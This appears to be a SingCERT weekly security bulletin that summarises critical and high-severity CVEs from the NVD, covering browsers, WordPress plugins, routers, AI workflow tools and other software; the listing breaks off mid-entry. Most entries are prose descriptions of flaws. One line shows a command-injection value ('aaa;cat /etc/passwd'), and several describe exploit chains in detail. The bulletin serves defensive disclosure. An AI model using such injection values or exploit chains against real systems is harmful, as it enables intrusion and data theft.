SingCERT
Singapore Cyber Emergency Response Team

Security Bulletin 25 March 2026

Generated on 25 March 2026

SingCERT's Security Bulletin summarises the list of vulnerabilities collated from the National Institute of Standards and Technology (NIST)'s National Vulnerability Database (NVD) in the past week.

The vulnerabilities are tabled based on severity, in accordance to their CVSSv3 base scores:

Critical	vulnerabilities with a base score of 9.0 to 10.0
High	vulnerabilities with a base score of 7.0 to 8.9
Medium	vulnerabilities with a base score of 4.0 to 6.9
Low	vulnerabilities with a base score of 0.1 to 3.9
None	vulnerabilities with a base score of 0.0

For those vulnerabilities without assigned CVSS scores, please visit NVD for the updated CVSS vulnerability entries.

CRITICAL VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2026-32737	Romeo gives the capability to reach high code coverage of Go ≥1.20 apps by helping to measure code coverage for functional and integration tests within GitHub Actions. Prior to version 0.2.1, due to a mis-written NetworkPolicy, a malicious actor can pivot from the "hardened" namespace to any Pod out of it. This breaks the security-by-default property expected as part of the deployment program, leading to a potential lateral movement. Removing the `inter-ns` NetworkPolicy patches the vulnerability in version 0.2.1. If updates are not possible in production environments, manually delete `inter-ns` and update as soon as possible. Given one's context, delete the failing network policy that should be prefixed by `inter-ns-` in the target namespace.	10.0	More Details
CVE-2026-3587	An unauthenticated remote attacker can exploit a hidden function in the CLI prompt to escape the restricted interface, leading to full compromise of the device.	10.0	More Details
CVE-2026-4688	Sandbox escape due to use-after-free in the Disability Access APIs component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	10.0	More Details
CVE-2026-22557	A malicious actor with access to the network could exploit a Path Traversal vulnerability found in the UniFi Network Application to access files on the underlying system that could be manipulated to access an underlying account.	10.0	More Details
CVE-2026-4725	Sandbox escape due to use-after-free in the Graphics: Canvas2D component. This vulnerability affects Firefox < 149 and Thunderbird < 149.	10.0	More Details
CVE-2026-30836	Step CA is an online certificate authority for secure, automated certificate management for DevOps. Versions 0.30.0-rc6 and below do not safeguard against unauthenticated certificate issuance through the SCEP UpdateReq. This issue has been fixed in version 0.30.0.	10.0	More Details
CVE-2026-33478	WWBN AVideo is an open source video platform. In versions up to and including 26.0, multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands. Commit c85d076375fab095a14170df7ddb27058134d38c contains a patch.	10.0	More Details
CVE-2026-32169	Server-side request forgery (ssrf) in Azure Cloud Shell allows an unauthorized attacker to elevate privileges over a network.	10.0	More Details
	Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below		

CVE-2026-33054	contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.	10.0	More Details
CVE-2026-22172	OpenClaw versions prior to 2026.3.12 contain an authorization bypass vulnerability in the WebSocket connect path that allows shared-token or password-authenticated connections to self-declare elevated scopes without server-side binding. Attackers can exploit this logic flaw to present unauthorized scopes such as operator.admin and perform admin-only gateway operations.	9.9	More Details
CVE-2026-32938	SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1.	9.9	More Details
CVE-2026-32731	ApostropheCMS is an open-source content management framework. Prior to version 3.5.3 of `@apostrophecms/import-export`, The `extract()` function in `gzip.js` constructs file-write paths using `fs.createWriteStream(path.join(exportPath, header.name))`. `path.join()` does not resolve or sanitise traversal segments such as `../`. It concatenates them as-is, meaning a tar entry named `../../evil.js` resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened. This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted `.tar.gz` file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem. Version 3.5.3 of `@apostrophecms/import-export` fixes the issue.	9.9	More Details
CVE-2026-33309	Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.	9.9	More Details
CVE-2026-26137	Server-side request forgery (ssrf) in Microsoft 365 Copilot's Business Chat allows an authorized attacker to elevate privileges over a network.	9.9	More Details
CVE-2026-4698	JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2026-32760	File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings (including Perm.Admin) to the new user without any server-side guard that strips admin from self-registered accounts. The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after applying defaults. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings. This issue has been resolved in version 2.62.0.	9.8	More Details
CVE-2026-32985	Xerte Online Toolkits versions 3.14 and earlier contain an unauthenticated arbitrary file upload vulnerability in the template import functionality that allows remote attackers to execute arbitrary code by uploading a crafted ZIP archive containing malicious PHP payloads. Attackers can bypass authentication checks in the import.php file to upload a template archive with PHP code in the media directory, which gets extracted to a web-accessible path where the malicious PHP can be directly accessed and executed under the web server context.	9.8	More Details
CVE-2026-33017	Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.	9.8	More Details

CVE-2026-32767	SiYuan is a personal knowledge management system. Versions 3.6.0 and below contain an authorization bypass vulnerability in the /api/search/fullTextSearchBlock endpoint. When the method parameter is set to 2, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the Reader role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database. This is inconsistent with the application's own security model: the dedicated SQL endpoint (/api/query/sql) correctly requires both CheckAdminRole and CheckReadonly middleware, but the search endpoint bypasses these controls entirely. This issue has been fixed in version 3.6.1.	9.8	More Details
CVE-2026-4691	Use-after-free in the CSS Parsing and Computation component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2026-32194	Improper neutralization of special elements used in a command ('command injection') in Microsoft Bing Images allows an unauthorized attacker to execute code over a network.	9.8	More Details
CVE-2026-21992	Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices) and Oracle Web Services Manager product of Oracle Fusion Middleware (component: Web Services Security). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager and Oracle Web Services Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager and Oracle Web Services Manager. Note: Oracle Web Services Manager is installed with an Oracle Fusion Middleware Infrastructure. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).	9.8	More Details
CVE-2026-4700	Mitigation bypass in the Networking: HTTP component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2026-32945	PJSIP is a free and open source multimedia communication library written in C. Versions 2.16 and below have a Heap-based Buffer Overflowvulnerability in the DNS parser's name length handler. Thisimpacts applications using PJSIP's built-in DNS resolver, such as those configured with pjsua_config.nameserver or UaConfig.nameserver in PJSUA/PJSUA2. It does not affect users who rely on the OS resolver (e.g., getaddrinfo()) by not configuring a nameserver, or those using an external resolver via pjsip_resolver_set_ext_resolver(). This issue is fixed in version 2.17. For users unable to upgrade, a workaround is to disable DNS resolution in the PJSIP config (by setting nameserver_count to zero) or to use an external resolver implementation instead.	9.8	More Details
CVE-2026-4038	The Aimogen Pro plugin for WordPress is vulnerable to Arbitrary Function Call that can lead to privilege escalation due to a missing capability check on the 'aiomatic_call_ai_function_realtime' function in all versions up to, and including, 2.7.5. This makes it possible for unauthenticated attackers to call arbitrary WordPress functions such as 'update_option' to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.	9.8	More Details
CVE-2026-27459	pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 22.0.0 and prior to version 26.0.0, if a user provided callback to `set_cookie_generate_callback` returned a cookie value greater than 256 bytes, pyOpenSSL would overflow an OpenSSL provided buffer. Starting in version 26.0.0, cookie values that are too long are now rejected.	9.8	More Details
CVE-2026-33057	Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.	9.8	More Details
CVE-2026-4567	A vulnerability has been found in Tenda A15 15.13.07.13. The impacted element is the function UploadCfg of the file /cgi-bin/UploadCfg. The manipulation of the argument File leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.	9.8	More Details
CVE-2026-4001	The Woocommerce Custom Product Addons Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.4.1 via the custom pricing formula eval() in the process_custom_formula() function within includes/process/price.php. This is due to insufficient sanitization and validation of user-submitted field values before passing them to PHP's eval() function. The sanitize_values() method strips HTML tags but does not escape single quotes or prevent PHP code injection. This makes it possible for unauthenticated attackers to execute arbitrary code on the server by submitting a crafted value to a WCPA text field configured with custom pricing formula (pricingType: "custom" with {this.value}).	9.8	More Details
CVE-2026-	Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Storage's `DiskService#path_for` does not validate that the resolved filesystem path remains within the storage root directory. If a blob key containing path traversal sequences (e.g. `../`)		

33195	is used, it could allow reading, writing, or deleting arbitrary files on the server. Blob keys are expected to be trusted strings, but some applications could be passing user input as keys and would be affected. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.	9.8	More Details
CVE-2026-33352	WWBN AVideo is an open source video platform. Prior to version 26.0, an unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace("'", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`. Version 26.0 contains a patch for the issue.	9.8	More Details
CVE-2026-4585	A vulnerability has been found in Tiandy Easy7 Integrated Management Platform up to 7.17.0. This vulnerability affects unknown code of the file /Easy7/apps/WebService/ImportSystemConfiguration.jsp of the component Configuration Handler. The manipulation of the argument File leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	9.8	More Details
CVE-2026-32968	Due to the improper neutralisation of special elements used in an OS command, an unauthenticated remote attacker can exploit an RCE vulnerability in the com_mb24sysapi module, resulting in full system compromise. This vulnerability is a variant attack for CVE-2020-10383.	9.8	More Details
CVE-2026-4755	CWE-20 vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11.	9.8	More Details
CVE-2019-25614	Free Float FTP 1.0 contains a buffer overflow vulnerability in the STOR command handler that allows remote attackers to execute arbitrary code by sending a crafted STOR request with an oversized payload. Attackers can authenticate with anonymous credentials and send a malicious STOR command containing 247 bytes of padding followed by a return address and shellcode to trigger code execution on the FTP server.	9.8	More Details
CVE-2026-30872	OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to 24.10.6 and 25.12.1, the mdns daemon has a Stack-based Buffer Overflow vulnerability in the match_ipv6_addresses function, triggered when processing PTR queries for IPv6 reverse DNS domains (.ip6.arpa) received via multicast DNS on UDP port 5353. During processing, the domain name from name_buffer is copied via strcpy into a fixed 256-byte stack buffer, and then the reverse IPv6 request is extracted into a buffer of only 46 bytes (INET6_ADDRSTRLEN). Because the length of the data is never validated before this extraction, an attacker can supply input larger than 46 bytes, causing an out-of-bounds write. This allows a specially crafted DNS query to overflow the stack buffer in match_ipv6_addresses, potentially enabling remote code execution. This issue has been fixed in versions 24.10.6 and 25.12.1.	9.8	More Details
CVE-2019-25568	Memu Play 6.0.7 contains an insecure file permissions vulnerability that allows low-privilege users to escalate privileges by replacing the MemuService.exe executable. Attackers can rename and overwrite MemuService.exe in the installation directory with a malicious executable, which executes with system-level privileges when the service restarts after a computer reboot.	9.8	More Details
CVE-2019-25628	Download Accelerator Plus DAP 10.0.6.0 contains a structured exception handler buffer overflow vulnerability that allows remote attackers to execute arbitrary code by crafting malicious URLs. Attackers can create specially crafted URLs with overflowing buffer data that overwrites SEH pointers and executes embedded shellcode when imported through the application's web page import functionality.	9.8	More Details
CVE-2026-33228	flatted is a circular JSON parser. Prior to version 3.4.2, the parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it with the key "__proto__" returns Array.prototype via the inherited getter. This object is then treated as a legitimate parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype to the consumer. Any code that subsequently writes to that property will pollute the global prototype. This issue has been patched in version 3.4.2.	9.8	More Details
CVE-2019-25646	Tabs Mail Carrier 2.5.1 contains a buffer overflow vulnerability in the MAIL FROM SMTP command that allows remote attackers to execute arbitrary code by sending a crafted MAIL FROM parameter. Attackers can connect to the SMTP service on port 25 and send a malicious MAIL FROM command with an oversized buffer to overwrite the EIP register and execute a bind shell payload.	9.8	More Details
CVE-2026-3584	The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the 'form_process' function. This is due to the 'prepare_post_data' function mapping user-supplied keys directly into internal placeholder storage, combined with the use of 'call_user_func' on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.	9.8	More Details
CVE-2024-44722	SysAK v2.0 and before is vulnerable to command execution via aaa;cat /etc/passwd.	9.8	More Details
CVE-2026-32038	OpenClaw before 2026.2.24 contains a sandbox network isolation bypass vulnerability that allows trusted operators to join another container's network namespace. Attackers can configure the docker.network parameter with container:<id> values to reach services in target container namespaces and bypass	9.8	More Details

	network hardening controls.		
CVE-2026-4696	Use-after-free in the Layout: Text and Fonts component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2026-30871	OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to 24.10.6 and 25.12.1, the mdns daemon has a Stack-based Buffer Overflow vulnerability in the parse_question function. The issue is triggered by PTR queries for reverse DNS domains (.in-addr.arpa and .ip6.arpa). DNS packets received on UDP port 5353 are expanded by dn_expand into an 8096-byte global buffer (name_buffer), which is then copied via an unbounded strcpy into a fixed 256-byte stack buffer when handling TYPE_PTR queries. The overflow is possible because dn_expand converts non-printable ASCII bytes (e.g., 0x01) into multi-character octal representations (e.g., \001), significantly inflating the expanded name beyond the stack buffer's capacity. A crafted DNS packet can exploit this expansion behavior to overflow the stack buffer, making the vulnerability reachable through normal multicast DNS packet processing. This issue has been fixed in versions 24.10.6 and 25.12.1.	9.8	More Details
CVE-2026-27065	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThimPress BuilderPress allows PHP Local File Inclusion.This issue affects BuilderPress: from n/a through 2.0.1.	9.8	More Details
CVE-2026-4717	Privilege escalation in the Netmonitor component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2026-32191	Improper neutralization of special elements used in an os command ('os command injection') in Microsoft Bing Images allows an unauthorized attacker to execute code over a network.	9.8	More Details
CVE-2026-4711	Use-after-free in the Widget: Cocoa component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2026-4723	Use-after-free in the JavaScript Engine component. This vulnerability affects Firefox < 149 and Thunderbird < 149.	9.8	More Details
CVE-2025-71275	Zimbra Collaboration Suite (ZCS) PostJournal service version 8.8.15 contains a command injection vulnerability that allows unauthenticated attackers to execute arbitrary system commands by exploiting improper sanitization of the RCPT TO parameter via SMTP injection. Attackers can inject shell expansion syntax through the RCPT TO parameter to achieve remote code execution under the Zimbra service context.	9.8	More Details
CVE-2026-30703	A command injection vulnerability exists in the web management interface of the WiFi Extender WDR201A (HW V2.1, FW LFMZX28040922V1.02). The adm.cgi endpoint improperly sanitizes user-supplied input provided to a command-related parameter in the sysCMD functionality.	9.8	More Details
CVE-2026-30702	The WiFi Extender WDR201A (HW V2.1, FW LFMZX28040922V1.02) implements a broken authentication mechanism in its web management interface. The login page does not properly enforce session validation, allowing attackers to bypass authentication by directly accessing restricted web application endpoints through forced browsing	9.8	More Details
CVE-2026-29859	An arbitrary file upload vulnerability in aaPanel v7.57.0 allows attackers to execute arbitrary code via uploading a crafted file.	9.8	More Details
CVE-2026-4705	Undefined behavior in the WebRTC: Signaling component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2026-27542	Incorrect Privilege Assignment vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture allows Privilege Escalation.This issue affects Woocommerce Wholesale Lead Capture: from n/a through 2.0.3.1.	9.8	More Details
CVE-2025-67830	Mura before 10.1.14 allows beanFeed.cfc getQuery sortby SQL injection.	9.8	More Details
CVE-2025-60233	Deserialization of Untrusted Data vulnerability in Themeton Zuut allows Object Injection.This issue affects Zuut: from n/a through 1.4.2.	9.8	More Details
CVE-2025-60237	Deserialization of Untrusted Data vulnerability in Themeton Finag allows Object Injection.This issue affects Finag: from n/a through 1.5.0.	9.8	More Details
CVE-2026-2991	The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 4.1.2. This is due to the `patientSocialLogin()` function not verifying the social provider access token before authenticating a user. This makes it possible for unauthenticated attackers to log in as any patient registered on the system by providing only their email address and an arbitrary value for the access token, bypassing all credential verification. The attacker gains access to sensitive medical records, appointments, prescriptions, and billing information (PII/PHI breach). Additionally, authentication cookies are set before the role check, meaning the auth cookies for non-patient users (including administrators) are also set in the HTTP response headers, even though a 403 response is returned.	9.8	More Details
	SAMtools is a program for reading, manipulating and writing bioinformatics file formats. The `mpileup`		

CVE-2026-31972	command outputs DNA sequences that have been aligned against a known reference. On each output line it writes the reference position, optionally the reference DNA base at that position (obtained from a separate file) and all of the DNA bases that aligned to that position. As the output is ordered by position, reference data that is no longer needed is discarded once it has been printed out. Under certain conditions the data could be discarded too early, leading to an attempt to read from a pointer to freed memory. This bug may allow information about program state to be leaked. It may also cause a program crash through an attempt to access invalid memory. This bug is fixed in versions 1.21.1 and 1.22. There is no workaround for this issue.	9.8	More Details
CVE-2026-4702	JIT miscompilation in the JavaScript Engine component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2006-10003	XML::Parser versions through 2.47 for Perl has an off-by-one heap buffer overflow in st_serial_stack. In the case (stackptr == stacksize - 1), the stack will NOT be expanded. Then the new value will be written at location (++stackptr), which equals stacksize and therefore falls just outside the allocated buffer. The bug can be observed when parsing an XML file with very deep element nesting	9.8	More Details
CVE-2025-67829	Mura before 10.1.14 allows beanFeed.cfc getQuery sortDirection SQL injection.	9.8	More Details
CVE-2025-69720	ncurses v6.5 and v6.4 are vulnerable to Buffer Overflow in progs/infocmp.c, function analyze_string().	9.8	More Details
CVE-2026-30402	An issue in wgcloud v.2.3.7 and before allows a remote attacker to execute arbitrary code via the test connection function	9.8	More Details
CVE-2026-32865	OPEXUS eComplaint and eCASE before version 10.1.0.0 include the secret verification code in the HTTP response when requesting a password reset via 'ForcePasswordReset.aspx'. An attacker who knows an existing user's email address can reset the user's password and security questions. Existing security questions are not asked during the process.	9.8	More Details
CVE-2025-67112	Use of a hard-coded AES-256-CBC key in the configuration backup/restore implementation of Small Cell Sercomm SCE4255W (FreedomFi Englewood) firmware before DG3934v3@2308041842 allows remote authenticated users to decrypt, modify, and re-encrypt device configurations, enabling credential manipulation and privilege escalation via the GUI import/export functions.	9.8	More Details
CVE-2025-67113	OS command injection in the CWMP client (/ftl/bin/cwmp) of Small Cell Sercomm SCE4255W (FreedomFi Englewood) firmware before DG3934v3@2308041842 allows remote attackers controlling the ACS endpoint to execute arbitrary commands as root via a crafted TR-069 Download URL that is passed unescaped into the firmware upgrade pipeline.	9.8	More Details
CVE-2026-25449	Deserialization of Untrusted Data vulnerability in Shinetheme Traveler allows Object Injection.This issue affects Traveler: from n/a before 3.2.8.1.	9.8	More Details
CVE-2025-67114	Use of a deterministic credential generation algorithm in /ftl/bin/calc_f2 in Small Cell Sercomm SCE4255W (FreedomFi Englewood) firmware before DG3934v3@2308041842 allows remote attackers to derive valid administrative/root credentials from the device's MAC address, enabling authentication bypass and full device access.	9.8	More Details
CVE-2026-30694	An issue in DedeCMS v.5.7.118 and before allows a remote attacker to execute arbitrary code via the array_filter component	9.8	More Details
CVE-2026-4701	Use-after-free in the JavaScript Engine component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.8	More Details
CVE-2026-25873	OmniGen2-RL contains an unauthenticated remote code execution vulnerability in the reward server component that allows remote attackers to execute arbitrary commands by sending malicious HTTP POST requests. Attackers can exploit insecure pickle deserialization of request bodies to achieve code execution on the host system running the exposed service.	9.8	More Details
CVE-2026-31938	jsPDF is a library to generate PDFs in JavaScript. Prior to version 4.2.1, user control of the `options` argument of the `output` function allows attackers to inject arbitrary HTML (such as scripts) into the browser context the created PDF is opened in. The vulnerability can be exploited in the following scenario: the attacker provides values for the output options, for example via a web interface. These values are then passed unsanitized (automatically or semi-automatically) to the attack victim. The victim creates and opens a PDF with the attack vector using one of the vulnerable method overloads inside their browser. The attacker can thus inject scripts that run in the victims browser context and can extract or modify secrets from this context. The vulnerability has been fixed in jspdf@4.2.1. As a workaround, sanitize user input before passing it to the output method.	9.6	More Details
CVE-2026-33211	Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2, the Tekton Pipelines git resolver is vulnerable to path traversal via the `pathInRepo` parameter. A tenant with permission to create `ResolutionRequests` (e.g. by creating `TaskRuns` or `PipelineRuns` that use the git resolver) can read arbitrary files from the resolver pod's filesystem, including ServiceAccount tokens. The file contents are returned base64-encoded in `resolutionrequest.status.data`. Versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2	9.6	More Details

	contain a patch.		
CVE-2026-21732	A web page that contains unusual GPU shader code is loaded into the GPU compiler process and can trigger a write out-of-bounds write crash in the GPU shader compiler library. On certain platforms, when the compiler process has system privileges this could enable further exploits on the device. An edge case using a very large value in switch statements in GPU shader code can cause a segmentation fault in the GPU shader compiler due to an out-of-bounds write access.	9.6	More Details
CVE-2026-32890	Anchorr is a Discord bot for requesting movies and TV shows and receiving notifications when items are added to a media server. In versions 1.4.1 and below, a stored Cross-site Scripting (XSS) vulnerability in the web dashboard's User Mapping dropdown allows any unprivileged Discord user in the configured guild to execute arbitrary JavaScript in the Anchorr admin's browser. By chaining this with the GET /api/config endpoint (which returns all secrets in plaintext), an attacker can exfiltrate every credential stored in Anchorr which includes DISCORD_TOKEN, JELLYFIN_API_KEY, JELLYSEERR_API_KEY, JWT_SECRET, WEBHOOK_SECRET, and bcrypt password hashes without any authentication to Anchorr itself. This issue has been fixed in version 1.4.2.	9.6	More Details
CVE-2026-30884	mdjnelson/moodle-mod_customcert is a Moodle plugin for creating dynamically generated certificates with complete customization via the web browser. Prior to versions 4.4.9 and 5.0.3, a teacher who holds `mod/customcert:manage` in any single course can read and silently overwrite certificate elements belonging to any other course in the Moodle installation. The `core_get_fragment` callback `editelement` and the `mod_customcert_save_element` web service both fail to verify that the supplied `elementid` belongs to the authorized context, enabling cross-course information disclosure and data tampering. Versions 4.4.9 and 5.0.3 fix the issue.	9.6	More Details
CVE-2026-29796	WebSocket endpoints lack proper authentication mechanisms, enabling attackers to perform unauthorized station impersonation and manipulate data sent to the backend. An unauthenticated attacker can connect to the OCPP WebSocket endpoint using a known or discovered charging station identifier, then issue or receive OCPP commands as a legitimate charger. Given that no authentication is required, this can lead to privilege escalation, unauthorized control of charging infrastructure, and corruption of charging network data reported to the backend.	9.4	More Details
CVE-2026-2298	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Salesforce Marketing Cloud Engagement allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 30th, 2026.	9.4	More Details
CVE-2026-4404	Use of hard coded credentials in GoHarbor Harbor version 2.15.0 and below, allows attackers to use the default password and gain access to the web UI.	9.4	More Details
CVE-2026-25192	WebSocket endpoints lack proper authentication mechanisms, enabling attackers to perform unauthorized station impersonation and manipulate data sent to the backend. An unauthenticated attacker can connect to the OCPP WebSocket endpoint using a known or discovered charging station identifier, then issue or receive OCPP commands as a legitimate charger. Given that no authentication is required, this can lead to privilege escalation, unauthorized control of charging infrastructure, and corruption of charging network data reported to the backend.	9.4	More Details
CVE-2026-33716	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{"error": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence. Commit 388fcd57dbd16f6cb3ebcdf1d08cf2b929941128 contains a patch.	9.4	More Details
CVE-2026-27413	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Cozmoslabs Profile Builder Pro allows Blind SQL Injection.This issue affects Profile Builder Pro: from n/a through 3.13.9.	9.3	More Details
CVE-2026-33134	WeGIA is a web manager for charitable institutions. Versions 3.6.5 and below contain an authenticated SQL Injection vulnerability in the html/matPat/restaurar_produto.php endpoint. The vulnerability allows an authenticated attacker to inject arbitrary SQL commands via the id_produto GET parameter, leading to full database compromise. In the script /html/matPat/restaurar_produto.php, the application retrieves the id_produto parameter directly from the $_GET global array and interpolates it directly into two SQL query strings without any sanitization, type-casting (e.g., (int)), or using parameterized (prepare/execute) statements. This issue has been fixed in version 3.6.6.	9.3	More Details
CVE-2026-33135	WeGIA is a web manager for charitable institutions. Versions 3.6.6 and below have a Reflected Cross-Site Scripting (XSS) vulnerability in the novo_memorandoo.php endpoint. An attacker can inject arbitrary JavaScript into the sccs GET parameter, which is directly echoed into the HTML response without any sanitization or encoding. The script /html/memorando/novo_memorandoo.php reads HTTP GET parameters to display dynamic success messages to the user. At approximately line 273, the code checks if $_GET['msg'] equals 'success'. If true, it directly concatenates $_GET['sccs'] into an HTML alert and outputs it to the browser. This issue has been fixed in version 3.6.7.	9.3	More Details
	SiYuan is a personal knowledge management system. In versions 3.6.0 and below, SanitizeSVG has an		

